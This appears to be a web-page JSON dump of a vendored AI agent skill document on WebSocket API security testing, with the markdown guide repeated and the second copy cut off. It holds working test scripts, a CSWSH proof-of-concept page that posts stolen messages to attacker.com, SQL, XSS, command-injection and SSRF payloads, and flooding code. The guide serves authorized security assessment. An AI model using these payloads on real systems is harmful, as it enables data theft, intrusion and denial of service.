[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73GC7FEKKHWER8CPEBQRY60":3,"skill-same:01M73GC7FEKKHWER8CPEBQRY60":90},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":50,"commitSha":51,"skillDirectory":52,"forksCount":53,"repositoryHtmlUrl":54,"repositoryHomepageUrl":55,"ownerHtmlUrl":56,"ownerBlogUrl":57,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M73GC7FEKKHWER8CPEBQRY60","testing-websocket-api-security",null,"Tests WebSocket API implementations for security vulnerabilities including missing authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH), injection attacks through WebSocket messages, insufficient input validation, denial-of-service via message flooding, and information leakage through WebSocket frames. The tester intercepts WebSocket handshakes and messages using Burp Suite, crafts malicious payloads, and tests for authorization bypass on WebSocket channels. Activates for requests involving WebSocket security testing, WS penetration testing, CSWSH attack, or real-time API security assessment.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-websocket-api-security\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Ftesting-websocket-api-security\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: testing-websocket-api-security\ndescription: 'Tests WebSocket API implementations for security vulnerabilities including\n  missing authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH),\n  injection attacks through WebSocket messages, insufficient input validation, denial-of-service\n  via message flooding, and information leakage through WebSocket frames. The tester\n  intercepts WebSocket handshakes and messages using Burp Suite, crafts malicious\n  payloads, and tests for authorization bypass on WebSocket channels. Activates for\n  requests involving WebSocket security testing, WS penetration testing, CSWSH attack,\n  or real-time API security assessment.\n\n  '\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- websocket\n- cswsh\n- real-time\n- injection\n- authentication\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1055\n- T1059\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n# Testing WebSocket API Security\n\n## When to Use\n\n- Assessing real-time communication APIs that use WebSocket (ws:\u002F\u002F) or Secure WebSocket (wss:\u002F\u002F) protocols\n- Testing for Cross-Site WebSocket Hijacking (CSWSH) where an attacker's page connects to a legitimate WebSocket server\n- Evaluating authentication and authorization enforcement on WebSocket connections and messages\n- Testing input validation on WebSocket message payloads for injection vulnerabilities\n- Assessing WebSocket implementations for denial-of-service through message flooding or oversized frames\n\n**Do not use** without written authorization. WebSocket testing may disrupt real-time services and affect other connected users.\n\n## Prerequisites\n\n- Written authorization specifying the WebSocket endpoint and testing scope\n- Burp Suite Professional with WebSocket interception capability\n- Python 3.10+ with `websockets` and `asyncio` libraries\n- Browser developer tools for observing WebSocket handshakes and frames\n- wscat CLI tool for manual WebSocket interaction: `npm install -g wscat`\n- Knowledge of the WebSocket subprotocol in use (JSON-RPC, STOMP, custom)\n\n## Workflow\n\n### Step 1: WebSocket Endpoint Discovery and Handshake Analysis\n\n```python\nimport asyncio\nimport websockets\nimport json\nimport ssl\nimport time\n\nWS_URL = \"wss:\u002F\u002Ftarget-api.example.com\u002Fws\"\nAUTH_TOKEN = \"Bearer \u003Ctoken>\"\n\n# Capture and analyze the WebSocket handshake\nasync def analyze_handshake():\n    \"\"\"Analyze WebSocket upgrade request and response headers.\"\"\"\n    try:\n        async with websockets.connect(\n            WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            ssl=ssl.create_default_context()\n        ) as ws:\n            print(f\"Connected to: {WS_URL}\")\n            print(f\"Protocol: {ws.subprotocol}\")\n            print(f\"Extensions: {ws.extensions}\")\n\n            # Send a test message\n            test_msg = json.dumps({\"type\": \"ping\"})\n            await ws.send(test_msg)\n            response = await asyncio.wait_for(ws.recv(), timeout=5)\n            print(f\"Server response: {response}\")\n\n            return True\n    except websockets.exceptions.InvalidStatusCode as e:\n        print(f\"Connection rejected: {e.status_code}\")\n        return False\n    except Exception as e:\n        print(f\"Connection error: {e}\")\n        return False\n\nasyncio.run(analyze_handshake())\n```\n\n### Step 2: Authentication and Authorization Testing\n\n```python\nasync def test_ws_authentication():\n    \"\"\"Test if WebSocket requires authentication.\"\"\"\n    results = []\n\n    # Test 1: Connect without any authentication\n    try:\n        async with websockets.connect(WS_URL) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"No authentication\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n            print(f\"[VULN] WebSocket accessible without authentication\")\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"No authentication\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"No authentication\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 2: Connect with invalid token\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": \"Bearer invalid_token\"}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Invalid token\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"Invalid token\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"Invalid token\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 3: Connect with expired token\n    expired_token = \"Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired\"\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": expired_token}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\"test\": \"Expired token\", \"status\": \"VULNERABLE\"})\n    except (websockets.exceptions.InvalidStatusCode, Exception):\n        results.append({\"test\": \"Expired token\", \"status\": \"SECURE\"})\n\n    # Test 4: Token in query parameter (leakage risk)\n    try:\n        async with websockets.connect(f\"{WS_URL}?token={AUTH_TOKEN}\") as ws:\n            await ws.send(json.dumps({\"type\": \"ping\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Token in URL\",\n                \"status\": \"INFO - Token accepted in query parameter (may leak in logs)\"\n            })\n    except Exception:\n        results.append({\"test\": \"Token in URL\", \"status\": \"REJECTED\"})\n\n    for r in results:\n        print(f\"  [{r['status'][:10]}] {r['test']}\")\n\n    return results\n\nasyncio.run(test_ws_authentication())\n```\n\n### Step 3: Cross-Site WebSocket Hijacking (CSWSH) Testing\n\n```python\nasync def test_cswsh():\n    \"\"\"Test for Cross-Site WebSocket Hijacking vulnerability.\"\"\"\n    # CSWSH occurs when the WebSocket server does not validate the Origin header\n    # An attacker's website can connect to the legitimate WebSocket and steal data\n\n    origins_to_test = [\n        None,                                    # No Origin header\n        \"https:\u002F\u002Fevil.com\",                      # Attacker domain\n        \"https:\u002F\u002Ftarget-api.example.com.evil.com\",  # Subdomain confusion\n        \"null\",                                  # Null origin (sandboxed iframe)\n        \"https:\u002F\u002Ftarget-api.example.com\",        # Legitimate origin\n        \"http:\u002F\u002Ftarget-api.example.com\",         # HTTP downgrade\n    ]\n\n    print(\"=== CSWSH Testing ===\\n\")\n    for origin in origins_to_test:\n        try:\n            headers = {\"Authorization\": AUTH_TOKEN}\n            if origin:\n                headers[\"Origin\"] = origin\n\n            async with websockets.connect(WS_URL, extra_headers=headers) as ws:\n                # Try to receive data that should be restricted\n                await ws.send(json.dumps({\"type\": \"get_messages\"}))\n                resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                if origin and origin != \"https:\u002F\u002Ftarget-api.example.com\":\n                    print(f\"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)\")\n                else:\n                    print(f\"[OK] Origin '{origin}' -> Accepted (legitimate)\")\n        except websockets.exceptions.InvalidStatusCode as e:\n            print(f\"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})\")\n        except Exception as e:\n            print(f\"[ERROR] Origin '{origin}' -> {e}\")\n\nasyncio.run(test_cswsh())\n\n# PoC HTML page for CSWSH exploitation\nCSWSH_POC = \"\"\"\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cscript>\n\u002F\u002F This page, hosted on attacker.com, connects to the target WebSocket\n\u002F\u002F If the server doesn't validate Origin, the victim's browser will\n\u002F\u002F send cookies\u002Fcredentials and the attacker receives the data\n\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget-api.example.com\u002Fws\");\n\nws.onopen = function() {\n    console.log(\"Connected to target WebSocket\");\n    ws.send(JSON.stringify({type: \"get_messages\"}));\n    ws.send(JSON.stringify({type: \"get_user_data\"}));\n};\n\nws.onmessage = function(event) {\n    console.log(\"Stolen data:\", event.data);\n    \u002F\u002F Exfiltrate to attacker server\n    fetch(\"https:\u002F\u002Fattacker.com\u002Fcollect\", {\n        method: \"POST\",\n        body: event.data\n    });\n};\n\u003C\u002Fscript>\n\u003Cp>Loading... (CSWSH attack in progress)\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\"\"\"\n```\n\n### Step 4: WebSocket Message Injection Testing\n\n```python\nasync def test_ws_injection():\n    \"\"\"Test WebSocket messages for injection vulnerabilities.\"\"\"\n\n    INJECTION_PAYLOADS = {\n        \"sql\": [\n            {\"type\": \"search\", \"query\": \"' OR '1'='1\"},\n            {\"type\": \"search\", \"query\": \"'; DROP TABLE messages;--\"},\n            {\"type\": \"get_message\", \"id\": \"1 UNION SELECT username,password FROM users--\"},\n        ],\n        \"nosql\": [\n            {\"type\": \"search\", \"query\": {\"$ne\": \"\"}},\n            {\"type\": \"get_user\", \"filter\": {\"$gt\": \"\"}},\n        ],\n        \"xss\": [\n            {\"type\": \"send_message\", \"content\": \"\u003Cscript>alert('xss')\u003C\u002Fscript>\"},\n            {\"type\": \"send_message\", \"content\": \"\u003Cimg src=x onerror=alert(1)>\"},\n            {\"type\": \"update_name\", \"name\": \"Test\u003Cscript>document.location='https:\u002F\u002Fevil.com'\u003C\u002Fscript>\"},\n        ],\n        \"command\": [\n            {\"type\": \"process\", \"file\": \"test; cat \u002Fetc\u002Fpasswd\"},\n            {\"type\": \"convert\", \"input\": \"test | id\"},\n        ],\n        \"ssrf\": [\n            {\"type\": \"load_url\", \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"},\n            {\"type\": \"webhook\", \"callback\": \"http:\u002F\u002Flocalhost:6379\u002F\"},\n        ],\n        \"overflow\": [\n            {\"type\": \"send_message\", \"content\": \"A\" * 100000},\n            {\"type\": \"search\", \"query\": \"B\" * 1000000},\n        ],\n    }\n\n    async with websockets.connect(WS_URL,\n        extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n\n        for category, payloads in INJECTION_PAYLOADS.items():\n            for payload in payloads:\n                try:\n                    await ws.send(json.dumps(payload))\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                    # Analyze response for injection indicators\n                    resp_lower = resp.lower()\n                    indicators = []\n                    if any(kw in resp_lower for kw in [\"sql\", \"syntax\", \"mysql\", \"postgresql\"]):\n                        indicators.append(\"SQL error\")\n                    if any(kw in resp_lower for kw in [\"root:\", \"uid=\", \"etc\u002Fpasswd\"]):\n                        indicators.append(\"Command output\")\n                    if any(kw in resp_lower for kw in [\"ami-id\", \"instance-id\", \"metadata\"]):\n                        indicators.append(\"SSRF data\")\n                    if \"script\" in resp_lower and \"xss\" not in category:\n                        indicators.append(\"Reflected XSS\")\n\n                    if indicators:\n                        print(f\"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}\")\n                    elif len(resp) > 10000:\n                        print(f\"[OVERFLOW] Large response: {len(resp)} bytes\")\n                except asyncio.TimeoutError:\n                    pass\n                except websockets.exceptions.ConnectionClosed:\n                    print(f\"[CRASH] Connection closed after {category} payload\")\n                    # Reconnect\n                    break\n\nasyncio.run(test_ws_injection())\n```\n\n### Step 5: Denial-of-Service Testing\n\n```python\nasync def test_ws_dos():\n    \"\"\"Test WebSocket for DoS vulnerabilities.\"\"\"\n    print(\"=== WebSocket DoS Testing ===\\n\")\n\n    # Test 1: Message flooding\n    async def flood_test():\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n            count = 0\n            start = time.time()\n            for i in range(10000):\n                try:\n                    await ws.send(json.dumps({\"type\": \"ping\", \"id\": i}))\n                    count += 1\n                except websockets.exceptions.ConnectionClosed:\n                    break\n            elapsed = time.time() - start\n            print(f\"  Flood test: {count} messages in {elapsed:.1f}s ({count\u002Felapsed:.0f} msg\u002Fs)\")\n\n    await flood_test()\n\n    # Test 2: Large message\n    async def large_message_test():\n        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB to 10MB\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            max_size=20*1024*1024) as ws:\n            for size in sizes:\n                try:\n                    large_msg = json.dumps({\"type\": \"data\", \"payload\": \"A\" * size})\n                    await ws.send(large_msg)\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n                    print(f\"  Large message ({size} bytes): Accepted\")\n                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:\n                    print(f\"  Large message ({size} bytes): Rejected\u002FDisconnected\")\n                    break\n\n    await large_message_test()\n\n    # Test 3: Connection exhaustion\n    async def connection_exhaustion():\n        connections = []\n        for i in range(100):\n            try:\n                ws = await websockets.connect(WS_URL,\n                    extra_headers={\"Authorization\": AUTH_TOKEN})\n                connections.append(ws)\n            except Exception:\n                break\n        print(f\"  Connection exhaustion: {len(connections)} concurrent connections established\")\n        for ws in connections:\n            await ws.close()\n\n    await connection_exhaustion()\n\nasyncio.run(test_ws_dos())\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **WebSocket** | Full-duplex communication protocol over a single TCP connection, established via HTTP upgrade handshake |\n| **CSWSH** | Cross-Site WebSocket Hijacking - an attack where a malicious website initiates a WebSocket connection to a legitimate server using the victim's browser credentials |\n| **Origin Validation** | Server-side check of the Origin header during WebSocket handshake to prevent CSWSH by rejecting connections from unauthorized domains |\n| **WebSocket Frame** | The basic unit of data in WebSocket communication, containing opcode, masking, payload length, and payload data |\n| **Upgrade Handshake** | HTTP request with `Upgrade: websocket` and `Connection: Upgrade` headers that establishes the WebSocket connection |\n| **Message Flooding** | Sending a large volume of WebSocket messages to exhaust server resources (memory, CPU, bandwidth) |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepts WebSocket handshakes and messages, allows message modification and replay\n- **OWASP ZAP**: WebSocket testing with message fuzzing, interception, and breakpoint capabilities\n- **wscat**: Command-line WebSocket client for manual testing: `wscat -c wss:\u002F\u002Ftarget.com\u002Fws -H \"Authorization: Bearer token\"`\n- **websocat**: Advanced CLI WebSocket tool with proxy, broadcast, and scripting capabilities\n- **Autobahn TestSuite**: Comprehensive WebSocket protocol compliance and security testing framework\n\n## Common Scenarios\n\n### Scenario: Chat Application WebSocket Security Assessment\n\n**Context**: A messaging application uses WebSocket for real-time chat. The WebSocket endpoint handles message delivery, typing indicators, read receipts, and user presence. Authentication is cookie-based.\n\n**Approach**:\n1. Analyze the WebSocket handshake: connection established at `wss:\u002F\u002Fchat.example.com\u002Fws` with session cookie authentication\n2. Test CSWSH: WebSocket server does not validate the Origin header - an attacker's page can connect and receive the victim's messages\n3. Test authentication: WebSocket accepts connections with expired session cookies (session validation only at handshake, not for subsequent messages)\n4. Test authorization: User A can send messages to private channels they are not a member of by crafting the channel ID\n5. Test injection: Message content is stored without sanitization; XSS payload in message body executes in other users' browsers\n6. Test message flooding: Server accepts 5000 messages per second without rate limiting, causing CPU spike\n7. Find that WebSocket messages include the sender's internal user ID, email, and IP address (information leakage)\n\n**Pitfalls**:\n- Not testing CSWSH because the application uses token-based authentication (cookies are automatically sent with WebSocket)\n- Only testing the initial handshake authentication without verifying ongoing message authorization\n- Missing injection vulnerabilities because payloads are in JSON WebSocket frames instead of HTTP parameters\n- Not testing reconnection behavior (does the server re-validate authentication on reconnect?)\n- Ignoring that WebSocket connections may bypass HTTP-level rate limiting and WAF rules\n\n## Output Format\n\n```\n## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft\n\n**ID**: API-WS-001\n**Severity**: High (CVSS 8.1)\n**Affected Endpoint**: wss:\u002F\u002Fchat.example.com\u002Fws\n\n**Description**:\nThe WebSocket server does not validate the Origin header during the\nhandshake. An attacker can host a malicious web page that opens a\nWebSocket connection to the chat server using the victim's session\ncookie. All messages, typing indicators, and presence data are\nforwarded to the attacker in real time.\n\n**Proof of Concept**:\nHost the CSWSH PoC page on attacker.com. When a logged-in user\nvisits the page, the JavaScript establishes a WebSocket connection\nto the chat server. The server authenticates the connection using\nthe victim's cookie and delivers all real-time chat data to the\nattacker's connection.\n\n**Impact**:\nReal-time interception of all private messages, presence data,\nand typing indicators for any user who visits the attacker's page.\n\n**Remediation**:\n1. Validate the Origin header against an allowlist of legitimate domains\n2. Implement CSRF tokens in the WebSocket handshake URL\n3. Use token-based authentication (Authorization header) instead of cookies for WebSocket\n4. Implement per-message authorization checks, not just connection-level authentication\n5. Add rate limiting on WebSocket message volume per connection\n```\n","# Testing WebSocket API Security\n\n## When to Use\n\n- Assessing real-time communication APIs that use WebSocket (ws:\u002F\u002F) or Secure WebSocket (wss:\u002F\u002F) protocols\n- Testing for Cross-Site WebSocket Hijacking (CSWSH) where an attacker's page connects to a legitimate WebSocket server\n- Evaluating authentication and authorization enforcement on WebSocket connections and messages\n- Testing input validation on WebSocket message payloads for injection vulnerabilities\n- Assessing WebSocket implementations for denial-of-service through message flooding or oversized frames\n\n**Do not use** without written authorization. WebSocket testing may disrupt real-time services and affect other connected users.\n\n## Prerequisites\n\n- Written authorization specifying the WebSocket endpoint and testing scope\n- Burp Suite Professional with WebSocket interception capability\n- Python 3.10+ with `websockets` and `asyncio` libraries\n- Browser developer tools for observing WebSocket handshakes and frames\n- wscat CLI tool for manual WebSocket interaction: `npm install -g wscat`\n- Knowledge of the WebSocket subprotocol in use (JSON-RPC, STOMP, custom)\n\n## Workflow\n\n### Step 1: WebSocket Endpoint Discovery and Handshake Analysis\n\n```python\nimport asyncio\nimport websockets\nimport json\nimport ssl\nimport time\n\nWS_URL = \"wss:\u002F\u002Ftarget-api.example.com\u002Fws\"\nAUTH_TOKEN = \"Bearer \u003Ctoken>\"\n\n# Capture and analyze the WebSocket handshake\nasync def analyze_handshake():\n    \"\"\"Analyze WebSocket upgrade request and response headers.\"\"\"\n    try:\n        async with websockets.connect(\n            WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            ssl=ssl.create_default_context()\n        ) as ws:\n            print(f\"Connected to: {WS_URL}\")\n            print(f\"Protocol: {ws.subprotocol}\")\n            print(f\"Extensions: {ws.extensions}\")\n\n            # Send a test message\n            test_msg = json.dumps({\"type\": \"ping\"})\n            await ws.send(test_msg)\n            response = await asyncio.wait_for(ws.recv(), timeout=5)\n            print(f\"Server response: {response}\")\n\n            return True\n    except websockets.exceptions.InvalidStatusCode as e:\n        print(f\"Connection rejected: {e.status_code}\")\n        return False\n    except Exception as e:\n        print(f\"Connection error: {e}\")\n        return False\n\nasyncio.run(analyze_handshake())\n```\n\n### Step 2: Authentication and Authorization Testing\n\n```python\nasync def test_ws_authentication():\n    \"\"\"Test if WebSocket requires authentication.\"\"\"\n    results = []\n\n    # Test 1: Connect without any authentication\n    try:\n        async with websockets.connect(WS_URL) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"No authentication\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n            print(f\"[VULN] WebSocket accessible without authentication\")\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"No authentication\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"No authentication\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 2: Connect with invalid token\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": \"Bearer invalid_token\"}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Invalid token\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"Invalid token\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"Invalid token\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 3: Connect with expired token\n    expired_token = \"Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired\"\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": expired_token}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\"test\": \"Expired token\", \"status\": \"VULNERABLE\"})\n    except (websockets.exceptions.InvalidStatusCode, Exception):\n        results.append({\"test\": \"Expired token\", \"status\": \"SECURE\"})\n\n    # Test 4: Token in query parameter (leakage risk)\n    try:\n        async with websockets.connect(f\"{WS_URL}?token={AUTH_TOKEN}\") as ws:\n            await ws.send(json.dumps({\"type\": \"ping\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Token in URL\",\n                \"status\": \"INFO - Token accepted in query parameter (may leak in logs)\"\n            })\n    except Exception:\n        results.append({\"test\": \"Token in URL\", \"status\": \"REJECTED\"})\n\n    for r in results:\n        print(f\"  [{r['status'][:10]}] {r['test']}\")\n\n    return results\n\nasyncio.run(test_ws_authentication())\n```\n\n### Step 3: Cross-Site WebSocket Hijacking (CSWSH) Testing\n\n```python\nasync def test_cswsh():\n    \"\"\"Test for Cross-Site WebSocket Hijacking vulnerability.\"\"\"\n    # CSWSH occurs when the WebSocket server does not validate the Origin header\n    # An attacker's website can connect to the legitimate WebSocket and steal data\n\n    origins_to_test = [\n        None,                                    # No Origin header\n        \"https:\u002F\u002Fevil.com\",                      # Attacker domain\n        \"https:\u002F\u002Ftarget-api.example.com.evil.com\",  # Subdomain confusion\n        \"null\",                                  # Null origin (sandboxed iframe)\n        \"https:\u002F\u002Ftarget-api.example.com\",        # Legitimate origin\n        \"http:\u002F\u002Ftarget-api.example.com\",         # HTTP downgrade\n    ]\n\n    print(\"=== CSWSH Testing ===\\n\")\n    for origin in origins_to_test:\n        try:\n            headers = {\"Authorization\": AUTH_TOKEN}\n            if origin:\n                headers[\"Origin\"] = origin\n\n            async with websockets.connect(WS_URL, extra_headers=headers) as ws:\n                # Try to receive data that should be restricted\n                await ws.send(json.dumps({\"type\": \"get_messages\"}))\n                resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                if origin and origin != \"https:\u002F\u002Ftarget-api.example.com\":\n                    print(f\"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)\")\n                else:\n                    print(f\"[OK] Origin '{origin}' -> Accepted (legitimate)\")\n        except websockets.exceptions.InvalidStatusCode as e:\n            print(f\"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})\")\n        except Exception as e:\n            print(f\"[ERROR] Origin '{origin}' -> {e}\")\n\nasyncio.run(test_cswsh())\n\n# PoC HTML page for CSWSH exploitation\nCSWSH_POC = \"\"\"\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cscript>\n\u002F\u002F This page, hosted on attacker.com, connects to the target WebSocket\n\u002F\u002F If the server doesn't validate Origin, the victim's browser will\n\u002F\u002F send cookies\u002Fcredentials and the attacker receives the data\n\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget-api.example.com\u002Fws\");\n\nws.onopen = function() {\n    console.log(\"Connected to target WebSocket\");\n    ws.send(JSON.stringify({type: \"get_messages\"}));\n    ws.send(JSON.stringify({type: \"get_user_data\"}));\n};\n\nws.onmessage = function(event) {\n    console.log(\"Stolen data:\", event.data);\n    \u002F\u002F Exfiltrate to attacker server\n    fetch(\"https:\u002F\u002Fattacker.com\u002Fcollect\", {\n        method: \"POST\",\n        body: event.data\n    });\n};\n\u003C\u002Fscript>\n\u003Cp>Loading... (CSWSH attack in progress)\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\"\"\"\n```\n\n### Step 4: WebSocket Message Injection Testing\n\n```python\nasync def test_ws_injection():\n    \"\"\"Test WebSocket messages for injection vulnerabilities.\"\"\"\n\n    INJECTION_PAYLOADS = {\n        \"sql\": [\n            {\"type\": \"search\", \"query\": \"' OR '1'='1\"},\n            {\"type\": \"search\", \"query\": \"'; DROP TABLE messages;--\"},\n            {\"type\": \"get_message\", \"id\": \"1 UNION SELECT username,password FROM users--\"},\n        ],\n        \"nosql\": [\n            {\"type\": \"search\", \"query\": {\"$ne\": \"\"}},\n            {\"type\": \"get_user\", \"filter\": {\"$gt\": \"\"}},\n        ],\n        \"xss\": [\n            {\"type\": \"send_message\", \"content\": \"\u003Cscript>alert('xss')\u003C\u002Fscript>\"},\n            {\"type\": \"send_message\", \"content\": \"\u003Cimg src=x onerror=alert(1)>\"},\n            {\"type\": \"update_name\", \"name\": \"Test\u003Cscript>document.location='https:\u002F\u002Fevil.com'\u003C\u002Fscript>\"},\n        ],\n        \"command\": [\n            {\"type\": \"process\", \"file\": \"test; cat \u002Fetc\u002Fpasswd\"},\n            {\"type\": \"convert\", \"input\": \"test | id\"},\n        ],\n        \"ssrf\": [\n            {\"type\": \"load_url\", \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"},\n            {\"type\": \"webhook\", \"callback\": \"http:\u002F\u002Flocalhost:6379\u002F\"},\n        ],\n        \"overflow\": [\n            {\"type\": \"send_message\", \"content\": \"A\" * 100000},\n            {\"type\": \"search\", \"query\": \"B\" * 1000000},\n        ],\n    }\n\n    async with websockets.connect(WS_URL,\n        extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n\n        for category, payloads in INJECTION_PAYLOADS.items():\n            for payload in payloads:\n                try:\n                    await ws.send(json.dumps(payload))\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                    # Analyze response for injection indicators\n                    resp_lower = resp.lower()\n                    indicators = []\n                    if any(kw in resp_lower for kw in [\"sql\", \"syntax\", \"mysql\", \"postgresql\"]):\n                        indicators.append(\"SQL error\")\n                    if any(kw in resp_lower for kw in [\"root:\", \"uid=\", \"etc\u002Fpasswd\"]):\n                        indicators.append(\"Command output\")\n                    if any(kw in resp_lower for kw in [\"ami-id\", \"instance-id\", \"metadata\"]):\n                        indicators.append(\"SSRF data\")\n                    if \"script\" in resp_lower and \"xss\" not in category:\n                        indicators.append(\"Reflected XSS\")\n\n                    if indicators:\n                        print(f\"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}\")\n                    elif len(resp) > 10000:\n                        print(f\"[OVERFLOW] Large response: {len(resp)} bytes\")\n                except asyncio.TimeoutError:\n                    pass\n                except websockets.exceptions.ConnectionClosed:\n                    print(f\"[CRASH] Connection closed after {category} payload\")\n                    # Reconnect\n                    break\n\nasyncio.run(test_ws_injection())\n```\n\n### Step 5: Denial-of-Service Testing\n\n```python\nasync def test_ws_dos():\n    \"\"\"Test WebSocket for DoS vulnerabilities.\"\"\"\n    print(\"=== WebSocket DoS Testing ===\\n\")\n\n    # Test 1: Message flooding\n    async def flood_test():\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n            count = 0\n            start = time.time()\n            for i in range(10000):\n                try:\n                    await ws.send(json.dumps({\"type\": \"ping\", \"id\": i}))\n                    count += 1\n                except websockets.exceptions.ConnectionClosed:\n                    break\n            elapsed = time.time() - start\n            print(f\"  Flood test: {count} messages in {elapsed:.1f}s ({count\u002Felapsed:.0f} msg\u002Fs)\")\n\n    await flood_test()\n\n    # Test 2: Large 